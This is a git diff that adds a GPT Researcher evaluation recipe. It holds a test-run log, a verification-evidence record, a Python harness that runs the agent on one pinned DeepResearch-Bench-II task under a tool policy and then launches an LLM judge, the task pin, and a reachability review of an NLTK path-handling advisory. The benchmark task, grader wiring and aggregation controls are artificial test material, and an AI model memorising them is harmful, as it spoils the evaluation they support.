(test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_upstream_grade_controls_preserve_scores_and_reject_malformed_output) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_gpt_researcher.py", line 102, in test_upstream_grade_controls_preserve_scores_and_reject_malformed_output + grader = load("gptr_grader", RECIPE / "e2e/grader.py") + File "/tests/test_runtime_worker_gpt_researcher.py", line 25, in load + spec.loader.exec_module(module) + ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^ + File "", line 1019, in exec_module + File "", line 1156, in get_code + File "", line 1214, in get_data +FileNotFoundError: [Errno 2] No such file or directory: '/blueprints/runtime-workers/gpt-researcher/e2e/grader.py' + +---------------------------------------------------------------------- +Ran 5 tests in 0.066s + +FAILED (errors=10) diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/round2-verification.json b/blueprints/runtime-workers/gpt-researcher/e2e/round2-verification.json new file mode 100644 index 000000000..b2d688bdc --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/round2-verification.json @@ -0,0 +1,116 @@ +{ + "schema_version": 1, + "evidence_class": "offline adapter integration and unchanged upstream aggregation controls; no model evaluation", + "source": { + "grader": "imlrz/DeepResearch-Bench-II", + "commit": "b38f360603db9531b102aef8c166cedb8509b6f6", + "worker_commit": "0957c301ed06c2a5857b834358c7227c739041d4" + }, + "environment": "Unit tests used TMPDIR under the user-designated external scratch; all Python verification disabled bytecode.", + "fail_first": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v", + "exit_code": 1, + "summary": "Ran 5 tests; FAILED (errors=10); old checker lacked ready_for_grading and native grader adapter was absent.", + "output_file": "round2-red.txt" + }, + "additional_fail_first": [ + { + "scope": "gateway transport", + "exit_code": 1, + "summary": "Ran 6 tests; FAILED (errors=1); gateway.py absent." + }, + { + "scope": "native task/runner wiring", + "exit_code": 1, + "summary": "Ran 7 tests; FAILED (errors=1); frozen task loader absent." + }, + { + "scope": "receipt/runner wiring", + "exit_code": 1, + "summary": "Ran 8 tests; FAILED (failures=1, errors=1); judge launch missing and removed checker field still consumed." + }, + { + "scope": "malformed receipt/skills lifecycle", + "exit_code": 1, + "summary": "Ran 9 tests; FAILED (failures=1, errors=1); truncated result raised JSONDecodeError and future skills installer contract was not documented." + }, + { + "scope": "nonfinite temperature", + "exit_code": 1, + "summary": "Ran 9 tests; FAILED (failures=1); NaN temperature was wrongly accepted." + }, + { + "scope": "native report binding", + "exit_code": 1, + "summary": "Ran 10 tests; FAILED (errors=1); read_report binding helper absent. Prior native-CSV control also failed on changed exports alongside old scores." + } + ], + "final_unit": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -p test_runtime_worker_gpt_researcher.py -v", + "exit_code": 0, + "output": "test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_frozen_task_rejects_changed_bytes_and_recipe_wires_native_grader) ... ok\ntest_gateway_reader_uses_only_authorized_columns_and_is_read_only (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_reader_uses_only_authorized_columns_and_is_read_only) ... ok\ntest_gateway_transport_headers_and_strict_schema_controls (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_gateway_transport_headers_and_strict_schema_controls) ... ok\ntest_graded_report_binding_rejects_replaced_and_mismatched_exports (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_graded_report_binding_rejects_replaced_and_mismatched_exports) ... ok\ntest_mcp_policy_enforces_calls_and_collection_arguments (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_mcp_policy_enforces_calls_and_collection_arguments) ... ok\ntest_receipt_cannot_promote_report_sanity_to_quality_verdict (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_receipt_cannot_promote_report_sanity_to_quality_verdict) ... ok\ntest_recipe_contract_and_empty_result (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result) ... ok\ntest_report_transport_controls_do_not_grade_content (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_report_transport_controls_do_not_grade_content) ... ok\ntest_skills_lifecycle_and_no_listener_recipe (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_skills_lifecycle_and_no_listener_recipe) ... ok\ntest_upstream_grade_controls_preserve_scores_and_reject_malformed_output (test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_upstream_grade_controls_preserve_scores_and_reject_malformed_output) ... ok\n\n----------------------------------------------------------------------\nRan 10 tests in 0.104s\n\nOK\n" + }, + "upstream_aggregation": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 /aggregate_scores.py --input .jsonl --tasks-file tasks.jsonl --output-prefix ", + "exit_code": 0, + "controls": [ + { + "label": "known-pass", + "synthetic_score": 1, + "native_total": 1, + "native_blocked_rate": 0, + "native_stdout": "[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-pass_inforecall.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-pass_analysis.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-pass_presentation.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-pass_total.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-pass_blocked.csv\n" + }, + { + "label": "known-fail", + "synthetic_score": 0, + "native_total": 0, + "native_blocked_rate": 0, + "native_stdout": "[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-fail_inforecall.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-fail_analysis.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-fail_presentation.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-fail_total.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/known-fail_blocked.csv\n" + }, + { + "label": "blocked", + "synthetic_score": -1, + "native_total": 0, + "native_blocked_rate": 1, + "native_stdout": "[done] wrote aggregated CSV: /gptr-native-aggregation-controls/blocked_inforecall.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/blocked_analysis.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/blocked_presentation.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/blocked_total.csv\n[done] wrote aggregated CSV: /gptr-native-aggregation-controls/blocked_blocked.csv\n" + } + ], + "scope": "Unchanged upstream aggregation executed on synthetic rows using the byte-verified upstream idx-12 rubric; never native model-quality acceptance." + }, + "publication_validation": { + "command": "PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "output": "Publication validation failed:\nblueprints/runtime-workers/gpt-researcher/README.md: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/README.md: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/check.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/check.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/task.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/task.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/install_support.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/install_support.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/research.md: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/research.md: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh: byte count mismatch\ntests/test_runtime_worker_gpt_researcher.py: SHA-256 mismatch\ntests/test_runtime_worker_gpt_researcher.py: byte count mismatch\n", + "remaining_action": "Coordinator re-registers twelve changed existing recipe/test entries and new adapter/evidence files in shared manifests/evidence.json, then reruns validation." + }, + "syntax": { + "command": "bash -n install.sh run-e2e.sh run-upstream-tests.sh; Python ast.parse on eight owned Python files; git diff --check", + "exit_code": 0 + }, + "hygiene": { + "initial_exit_code": 1, + "observed": "Four disposable scripts/__pycache__/*.pyc files found and explicitly removed with the empty directory; origin not inferred.", + "final_scan": { + "exit_code": 0, + "output": "Worktree scan: no Python bytecode or scratch/cache directories found\n" + } + }, + "constraints": { + "host_installs": 0, + "services_started": 0, + "model_calls": 0, + "git_add_commit_push": false, + "owned_listener_ports": [], + "docker_resources": [] + }, + "gaps": [ + "Native installation, upstream worker suite, live E2E and A/B not executed.", + "Native free-text JSON planner remains unconstrained; native MCP uses tools and DRB-II uses strict closed schemas.", + "No SKILL.md loader found in reviewed v3.7.0 runtime; empty startup/activation inventories are declarations, not framework trace events.", + "Conditional skills installer command is pending the skills-program PR; no installation performed.", + "Gateway wire/effort observation and process cleanup remain host checks.", + "Native outer retries receive fresh generation keys; replay deduplication is unqualified.", + "Upstream successful-batch usage omits failed-attempt consumption." + ] +} diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/run.py b/blueprints/runtime-workers/gpt-researcher/e2e/run.py new file mode 100644 index 000000000..1a8d04216 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/run.py @@ -0,0 +1,175 @@ +"""Upstream SDK example with private native artifacts and upstream DRB-II grading. + +Reference: GPT Researcher v3.7.0 README SDK example; agent.py:463-504,684-690; +deep_research.py:644-646 propagates actual scraped sources from child researchers. +""" +import argparse +import asyncio +from datetime import datetime, timezone +import importlib.metadata +import json +import logging +import os +from pathlib import Path +import sys +import subprocess +import uuid + +HERE = Path(__file__).resolve().parent +sys.path.insert(0, str(HERE.parent)) +from mcp_proxy import POLICY, load_host +from check import check, export_report +from gateway import BASE_URL, GatewayTransport, model_id, render_config, validate_route +from grader import load_task, verified_source +from receipt import compression_snapshot + + +def now(): + return datetime.now(timezone.utc).isoformat(timespec="milliseconds").replace("+00:00", "Z") + + +async def run(args, output): + host = load_host(args.host_file) + expected = json.loads((HERE.parent / "pins.json").read_text()) + installed = json.loads((args.prefix / "installation-pins.json").read_text()) + if installed != expected: + raise ValueError("installation pins differ from recipe; rerun the installer") + if not (args.prefix / "grader-venv/bin/python").is_file(): + raise ValueError("missing native grader environment; rerun the installer") + version = importlib.metadata.version("gpt-researcher") + if version != expected["package_version"]: + raise ValueError("wrong installed framework version") + output["framework_version"] = version + # All nested native researchers reload the same config_path. No source patches. + session = uuid.uuid4().hex + cfg = render_config(json.loads((HERE.parent / "config.template.json").read_text()), + {"model": args.model, "base_url": args.base_url}, session) + cfg["RETRIEVER"] = "duckduckgo,mcp" + # Pass constructor mcp_configs: Config.__init__ resets cfg.mcp_servers. + mcp_configs = [{"name": name, "connection_type": "stdio", + "command": str(args.prefix / "proxy-venv/bin/python"), + "args": [str(HERE.parent / "mcp_proxy.py"), name, "--host-file", str(args.host_file), + "--run-dir", str(args.run_dir)], + "env": {key: os.environ[key] for key in ("XDG_CACHE_HOME", "XDG_CONFIG_HOME", "XDG_STATE_HOME", + "HF_HOME", "PYTHON_DOTENV_DISABLED") if key in os.environ}} + for name, settings in POLICY["servers"].items() if settings["active"]] + private_cfg = args.run_dir / "config.json" + private_cfg.write_text(json.dumps(cfg, indent=2) + "\n") + # Explicit config values beat the upstream paid defaults. Keyword mode lazily + # avoids embeddings; no embedding or TypeSafe/Tavily credential is supplied. + os.environ.update({"OPENAI_BASE_URL": cfg["LLM_KWARGS"]["base_url"], + "OPENAI_API_KEY": "local-loopback", "CONTEXT_FILTER": "keyword", + "KEYWORD_MAX_RESULTS": "16", "KEYWORD_RELATIVE_THRESHOLD": "0.5", + "COMPRESSION_THRESHOLD": "8000", "LANGCHAIN_TRACING_V2": "false", + "LANGSMITH_TRACING": "false", "DO_NOT_TRACK": "1", + "HF_HUB_OFFLINE": "1", "TRANSFORMERS_OFFLINE": "1", + "CHUB_TELEMETRY": "0", "CHUB_FEEDBACK": "0", "ALLOW_PRIVATE_URLS": "false"}) + os.environ["PYTHON_DOTENV_DISABLED"] = "1" + for role in ("FAST_LLM", "SMART_LLM", "STRATEGIC_LLM"): + os.environ[role] = cfg[role] + selection = json.loads((HERE / "task.json").read_text()) + task, raw = load_task(verified_source(args.prefix) / "tasks_and_rubrics.jsonl", selection) + (args.run_dir / "tasks-and-rubrics.jsonl").write_bytes(raw) + output["skills"] = {"listed_at_start": [], "activation_events": [], + "status": "no SKILL.md loader found in pinned runtime; native inventory unavailable"} + print(json.dumps({"skills_at_start": output["skills"]})) + from gpt_researcher import GPTResearcher + from gpt_researcher.mcp.client import MCPClientManager + # Fail on missing tools before spending a model call; this is discovery only. + manager = MCPClientManager(mcp_configs) + try: + discovered = {tool.name for tool in await manager.get_all_tools()} + required = {"query", "get", "ctx_index", "memory_query"} + if not required <= discovered: + raise ValueError("required scoped MCP tools unavailable") + permitted = {t for s in POLICY["servers"].values() if s["active"] for t in s["enabled_tools"]} + if not discovered <= permitted: + raise ValueError("MCP discovery exposed tools outside the policy") + finally: + await manager.close_client() + # Use the original benchmark prompt, including its blocked-reference rules. + async with GatewayTransport(session, base_url=args.base_url, model=args.model, + correlation_log=args.run_dir / "worker-correlations.jsonl").worker_clients(): + worker = GPTResearcher(query=task["prompt"], report_type=selection["report_type"], + config_path=str(private_cfg), mcp_configs=mcp_configs, + mcp_strategy="fast", verbose=True, websocket=None) + # GPTR@0957c301 utils/llm.py:120-143 permits ten attempts only without + # a websocket during streamed report generation. Native logs stay on. + await worker.conduct_research() + output["report"] = await worker.write_report(custom_prompt=task["prompt"]) + # Retain actual fetched sources, never replace them with visited URLs. + output["sources"] = worker.get_research_sources() + export_report(output, args.run_dir / "report.md") + export_report(output, args.run_dir / "frozen-reports/gptr" / f"idx-{task['idx']}.md") + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--run-dir", type=Path, required=True) + parser.add_argument("--prefix", type=Path, required=True) + parser.add_argument("--host-file", type=Path, required=True) + parser.add_argument("--model", required=True, type=model_id) + parser.add_argument("--base-url", required=True) + parser.add_argument("--judge-model", required=True, type=model_id) + args = parser.parse_args() + args.run_dir = args.run_dir.resolve() + args.host_file = args.host_file.resolve() + args.prefix = args.prefix.resolve() + validate_route(args.base_url, args.model) + validate_route(BASE_URL, args.judge_model) + # Avoid upstream dotenv discovery of checkout/host provider files. + os.chdir(args.run_dir) + logging.basicConfig(filename=args.run_dir / "native.log", level=logging.INFO, + format="%(asctime)s %(name)s %(levelname)s %(message)s", force=True) + started = now() + (args.run_dir / "window-start.txt").write_text(started) + phases = {"worker_started": started} + def persist_phases(): + path = args.run_dir / "phases.json" + temporary = path.with_suffix(".tmp") + temporary.write_text(json.dumps(phases) + "\n") + temporary.replace(path) + persist_phases() + arm = "engines-on" if args.model.startswith("sharedgw/") else "control" + compression = {"before": compression_snapshot(arm)} + output = {"report": "", "sources": [], "framework_version": None} + runtime_error = None + original_stdout, original_stderr = sys.stdout, sys.stderr + with (args.run_dir / "stdout.log").open("w") as stdout, (args.run_dir / "stderr.log").open("w") as stderr: + sys.stdout, sys.stderr = stdout, stderr + try: + asyncio.run(asyncio.wait_for(run(args, output), timeout=1800)) + except BaseException as error: + runtime_error = type(error).__name__ + logging.exception("Native run failed") + finally: + sys.stdout, sys.stderr = original_stdout, original_stderr + (args.run_dir / "result.json").write_text(json.dumps(output, indent=2, default=str) + "\n") + phases["worker_ended"] = now() + persist_phases() + compression["after"] = compression_snapshot(arm) + (args.run_dir / "compression.json").write_text(json.dumps(compression) + "\n") + sanity = check(output) + (args.run_dir / "check.json").write_text(json.dumps(sanity, indent=2) + "\n") + if runtime_error is None and sanity["ready_for_grading"]: + phases["judge_started"] = now() + persist_phases() + try: + with (args.run_dir / "grader-stdout.log").open("w") as stdout, (args.run_dir / "grader-stderr.log").open("w") as stderr: + subprocess.run([str(args.prefix / "grader-venv/bin/python"), str(HERE / "grader.py"), + "--prefix", str(args.prefix), "--run-dir", str(args.run_dir), + "--model", args.judge_model], check=True, timeout=1800, + stdout=stdout, stderr=stderr) + except (OSError, subprocess.SubprocessError) as error: + runtime_error = "Grader" + type(error).__name__ + finally: + phases["judge_ended"] = now() + persist_phases() + # The supervisor independently validates grades and observes gateway DBs. + (args.run_dir / "execution.json").write_text(json.dumps({"runtime_error": runtime_error, + "framework_version": output["framework_version"]}) + "\n") + return 0 if runtime_error is None and sanity["ready_for_grading"] else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/task.json b/blueprints/runtime-workers/gpt-researcher/e2e/task.json new file mode 100644 index 000000000..b082e41f1 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/task.json @@ -0,0 +1,10 @@ +{ + "name": "drb-ii-12-ai-enhanced-portfolio-management", + "idx": 12, + "report_type": "deep", + "row_sha256": "cd521187b6fa3e2ef6bd2dd5381606c64401cead154292d3b84dc9e508543e85", + "prompt_sha256": "430d83b66e2db4f5763094cfec575c46f31d46f542ef1ceaceebf90628f927b3", + "source": "imlrz/DeepResearch-Bench-II@b38f360603db9531b102aef8c166cedb8509b6f6/tasks_and_rubrics.jsonl", + "license": "CC BY 4.0 (upstream task row)", + "evidence_class": "one frozen upstream benchmark task; not full-suite or leaderboard acceptance" +} diff --git a/blueprints/runtime-workers/gpt-researcher/evidence/nltk-reachability.json b/blueprints/runtime-workers/gpt-researcher/evidence/nltk-reachability.json new file mode 100644 index 000000000..8db3b929f --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/evidence/nltk-reachability.json @@ -0,0 +1,179 @@ +{ + "schema": "runtime-worker-nltk-reachability/1", + "date": "2026-09-27", + "recipe": "blueprints/runtime-workers/gpt-researcher", + "question": "Do the worker's locked artifacts, its pinned GPT Researcher source or the recipe's own Python call the model import/export APIs named by GHSA-8mgp-746c-j5xp?", + "advisory": { + "id": "GHSA-8mgp-746c-j5xp", + "aliases": ["CVE-2026-81726", "PYSEC-2026-3740"], + "published": "2026-09-02T14:35:04Z", + "modified": "2026-09-02T14:45:06.878867805Z", + "summary": "NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots", + "source": "https://api.osv.dev/v1/vulns/GHSA-8mgp-746c-j5xp", + "fetched_utc": "2026-09-27T21:59:19Z", + "response": {"http_status": 200, "bytes": 4877, "sha256": "c489d359f203d5ecd90148e59601c63f4b057fe838604b68e607a3e3f1026a10"}, + "package": "PyPI nltk", + "range": {"introduced": "0", "last_affected": "3.10.3"}, + "locked_version_in_affected_versions": true, + "affected_functions": [ + "TransitionParser.train", + "TransitionParser.parse", + "AveragedPerceptron.save", + "AveragedPerceptron.load", + "PerceptronTagger.save_to_json", + "save_maxent_params" + ], + "affected_functions_source": "details text, 'Affected component'; affected[0].ecosystem_specific is null, so the record has no structured function list", + "negative_controls": ["pathsec.open()", "PerceptronTagger.load_from_json()", "load_maxent_params()"], + "precondition": "The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.", + "patched_versions": "details text: 'Not yet patched'; the range has no fixed event", + "severity": "HIGH (database_specific); CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L", + "cwe_ids": ["CWE-22", "CWE-59", "CWE-73"], + "referenced_pull_requests": [ + {"number": 3757, "title": "Harden untrusted-model pickle allowlist (exact globals + numpy.lib denylist)", "base": "develop", "merged_at": "2026-08-20T03:10:12Z", "merge_commit": "628ebd2fa1b8", "in_tag_v3.10.3": false}, + {"number": 3759, "title": "Harden maxent / named-entity model-artifact saves against shared-tmp planting", "base": "develop", "merged_at": "2026-08-18T14:12:44Z", "merge_commit": "a167e94bca80", "in_tag_v3.10.3": false}, + {"number": 3813, "title": "Harden tagger model loads and tool paths (perceptron/crf/hunpos/stanford)", "base": "develop", "merged_at": "2026-08-28T12:52:32Z", "merge_commit": "574270e2ad36", "in_tag_v3.10.3": false} + ], + "referenced_commits": {"commits": ["2a92b71827d7", "a44a7af69bca", "cbc98458b43d"], "in_develop": true, "in_tag_v3.10.3": false}, + "github_check": "gh api repos/nltk/nltk/pulls/{3757,3759,3813} (exit 0); gh api compare COMMIT...develop gave behind_by 0 for the three referenced commits, and compare v3.10.3...COMMIT gave status ahead, behind_by 0 for all six commits, so none is contained in the v3.10.3 tag; newest tag v3.10.3", + "pypi_release_state": {"source": "https://pypi.org/pypi/nltk/json", "fetched_utc": "2026-09-27T22:03:25Z", "latest": "3.10.3", "latest_first_upload": "2026-08-12T23:44:13Z", "yanked": false, "releases_after_3.10.3": []}, + "review_claims": [ + {"claim": "Affected: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and save_maxent_params", "result": "confirmed", "source": "OSV details, 'Affected component'"}, + {"claim": "Only when pathsec is on and untrusted input chooses model import or export paths", "result": "confirmed", "source": "OSV details, PoC preconditions"}, + {"claim": "load_from_json is the safe comparison case", "result": "confirmed; OSV lists PerceptronTagger.load_from_json() with pathsec.open() and load_maxent_params() as guarded negative controls", "source": "OSV details, PoC step 3"}, + {"claim": "nltk 3.10.3 ships pathsec on (nltk/pathsec.py:26-28, ENFORCE = True)", "result": "confirmed", "source": "hash-verified nltk-3.10.3-py3-none-any.whl, nltk/pathsec.py:26-28"}, + {"claim": "No patched release is on PyPI as of 2026-09-27", "result": "confirmed", "source": "PyPI JSON (latest 3.10.3, nothing later); OSV range last_affected 3.10.3"}, + {"claim": "The fixes merged on develop are #3757, #3759 and #3813", "result": "confirmed as merged to develop after v3.10.3 and referenced by the OSV record; OSV itself calls the package not yet patched, and #3757's title concerns the pickle allowlist", "source": "OSV references; gh api pulls and compare"} + ] + }, + "lock": { + "path": "blueprints/runtime-workers/gpt-researcher/requirements.lock", + "sha256": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "sha256_matches_pins_json": true, + "generation": "uv 0.12.17 pip compile --python-version 3.12 --python-platform x86_64-unknown-linux-gnu --generate-hashes (research.md)", + "pins": 197, + "hashes": 4337, + "environment_markers": 0, + "nltk_pin": { + "line": 2139, + "requirement": "nltk==3.10.3", + "hashes": [ + {"sha256": "ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c", "file": "nltk-3.10.3-py3-none-any.whl"}, + {"sha256": "bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4", "file": "nltk-3.10.3.tar.gz"} + ] + }, + "side_locks": [ + {"path": "blueprints/runtime-workers/gpt-researcher/build-requirements.lock", "sha256": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", "nltk_lines": 0}, + {"path": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", "sha256": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754", "nltk_lines": 0} + ], + "side_locks_nltk_free": true, + "requirements_in": { + "path": "blueprints/runtime-workers/gpt-researcher/requirements.in", + "line": 80, + "requirement": "nltk>=3.9.1", + "osv_scanning": "not scanned itself: .github/osv-scanner-lockfiles.json lists it under covered_by_lockfile with lockfile blueprints/runtime-workers/gpt-researcher/requirements.lock" + }, + "grader_lock": { + "source": "DeepResearch-Bench-II b38f360603db9531b102aef8c166cedb8509b6f6 uv.lock (installed by install.sh:34), fetched with gh api contents (exit 0)", + "sha256": "3c193d03d6c9be174312f74d73188e9fa24a7f46a30749fa6cf06934dc2860c8", + "sha256_matches_pins_json": true, + "nltk_mentions": 0 + } + }, + "artifacts": { + "method": "pip download (nothing installed), then unpack with Python zipfile (wheels) or tarfile filter='data' (sdists); no code from any artifact was imported or executed", + "tools": {"pip": "26.2.1", "host_python": "3.13.15", "ripgrep": "14.1.0", "gh": "2.101.0"}, + "tag_adjustment": "--python-version 3.12 instead of 3.13, because the lock target is CPython 3.12 (pins.json python_target, install.sh:10 assertion, research.md compile command). Platforms unchanged (manylinux2014_x86_64, manylinux_2_17_x86_64, manylinux_2_28_x86_64); uv 0.12.17 help defines x86_64-unknown-linux-gnu as x86_64-manylinux_2_28. Added --isolated (ignore user pip configuration) and --no-cache-dir. The lock has no environment markers, so evaluating markers against the host interpreter changes nothing.", + "runs": [ + { + "command": "python3 -m pip --isolated download --no-cache-dir --disable-pip-version-check --require-hashes --only-binary=:all: --no-deps --python-version 3.12 --platform manylinux2014_x86_64 --platform manylinux_2_17_x86_64 --platform manylinux_2_28_x86_64 --implementation cp -d /wheels -r blueprints/runtime-workers/gpt-researcher/requirements.lock", + "exit": 1, + "saved": 0, + "output": "ERROR: Could not find a version that satisfies the requirement docopt==0.6.2 (from versions: none) / ERROR: No matching distribution found for docopt==0.6.2" + }, + { + "command": "the same flags with -r /wheel-pins.lock (requirements.lock without the docopt, langdetect and sgmllib3k entries)", + "exit": 0, + "saved": 194, + "output": "Successfully downloaded (194 names); 194 Saved lines; no ERROR or WARNING lines" + } + ], + "sdist_only_pins": { + "how_identified": "PyPI JSON for all 197 pins (0 fetch errors): each of the 4,337 lock hashes matched a file of the pinned version, and pip's own compatibility tags for the target (cp312 and the three platforms, 150 tags) found no locked wheel for three pins", + "fetch": "direct PyPI file URL; sha256 checked against the lock by our script, not by pip --require-hashes", + "files": [ + {"file": "docopt-0.6.2.tar.gz", "sha256": "49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491", "in_lock": true}, + {"file": "langdetect-1.0.9.tar.gz", "sha256": "cbc1fef89f8d062739774bd51eda3da3274006b3661d199c2655f6b3f6d605a0", "in_lock": true}, + {"file": "sgmllib3k-1.0.0.tar.gz", "sha256": "7868fb1c8bfa764c1ac563d3cf369c381d1325d36124933a726f29fcdaa812e9", "in_lock": true} + ] + }, + "counts": { + "pins": 197, + "artifacts": 197, + "wheels": 194, + "sdists": 3, + "artifact_sha256_rechecked_in_lock": 197, + "unpacked_files": 20706, + "unpacked_py_files": 14774, + "lock_hashes_not_downloaded": 4140 + }, + "nltk_artifact": {"file": "nltk-3.10.3-py3-none-any.whl", "sha256": "ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c", "py_files": 444} + }, + "upstream_source": { + "repository": "https://github.com/assafelovic/gpt-researcher", + "commit": "0957c301ed06c2a5857b834358c7227c739041d4", + "release": "v3.7.0", + "commit_date": "2026-09-26T16:56:07Z", + "fetch": "gh api repos/assafelovic/gpt-researcher/tarball/0957c301ed06c2a5857b834358c7227c739041d4 (exit 0): GitHub legacy archive, top directory assafelovic-gpt-researcher-0957c30", + "archive": {"bytes": 14489543, "sha256": "b607a253e983b685dfd6d378cc275516295378d3fa99af9b45def8c302107497"}, + "identity_check": "the legacy archive's bytes differ from the codeload tar.gz hash in pins.json (different archive prefix); 6 of 6 pins.json upstream_files sha256 values match the extracted files", + "files": 839, + "py_files": 364, + "nltk_references": 0, + "scan": "rg -i 'nltk' over the .py files: exit 1. Import forms (import, from, importlib.import_module, __import__) over all files: exit 1. The five affected-API symbols and the lock's nltk-caller classes (NLTKTextSplitter, HTMLSemanticPreservingSplitter, NGramOverlapExampleSelector) over all files: exit 1. requirements.txt: no nltk (rg exit 1).", + "non_python_mentions": [ + {"file": "pyproject.toml", "line": 111, "text": "\"nltk>=3.9.1\",", "kind": "declared [project] dependency"}, + {"file": "evals/hallucination_eval/results/aggregate_results.json", "kind": "stored evaluation output text ('NLTK Book')"}, + {"file": "evals/hallucination_eval/results/evaluation_records.jsonl", "kind": "stored evaluation output text ('NLTK Book')"} + ], + "import_chain": "gpt_researcher/vector_store/vector_store.py:8, context/compression.py:27, context/lexical.py:14 and context/jev_filter.py:25 import langchain_text_splitters.RecursiveCharacterTextSplitter. langchain_text_splitters/__init__.py:20 and :37 import its html and nltk modules, whose module-level try blocks (html.py:30, nltk.py:12) run import nltk. nltk is therefore loaded in the worker process; loading defines the affected classes and functions without calling them." + }, + "callers": [ + {"package": "langchain-text-splitters", "version": "1.1.2", "file": "langchain_text_splitters/nltk.py", "line": 12, "symbol": "NLTKTextSplitter", "calls_affected_api": false, "note": "module-level import nltk in try/except; the class calls nltk.tokenize.sent_tokenize (line 55) or nltk.tokenize._get_punkt_tokenizer (line 53): Punkt sentence splitting"}, + {"package": "langchain-text-splitters", "version": "1.1.2", "file": "langchain_text_splitters/html.py", "line": 30, "symbol": "HTMLSemanticPreservingSplitter", "calls_affected_api": false, "note": "module-level import nltk in try/except; only stopword_removal=True (default False, line 627) makes __init__ call nltk.download(\"stopwords\") (line 727) and nltk.corpus.stopwords.words (line 728)"}, + {"package": "langchain-community", "version": "0.4.2", "file": "langchain_community/example_selectors/ngram_overlap.py", "line": 26, "symbol": "ngram_overlap_score", "calls_affected_api": false, "note": "function-local import of SmoothingFunction and sentence_bleu from nltk.translate.bleu_score (BLEU scoring); called by NGramOverlapExampleSelector.select_examples (line 104)"}, + {"package": "langchain-community", "version": "0.4.2", "file": "langchain_community/example_selectors/ngram_overlap.py", "line": 75, "symbol": "NGramOverlapExampleSelector.check_dependencies", "calls_affected_api": false, "note": "function-local 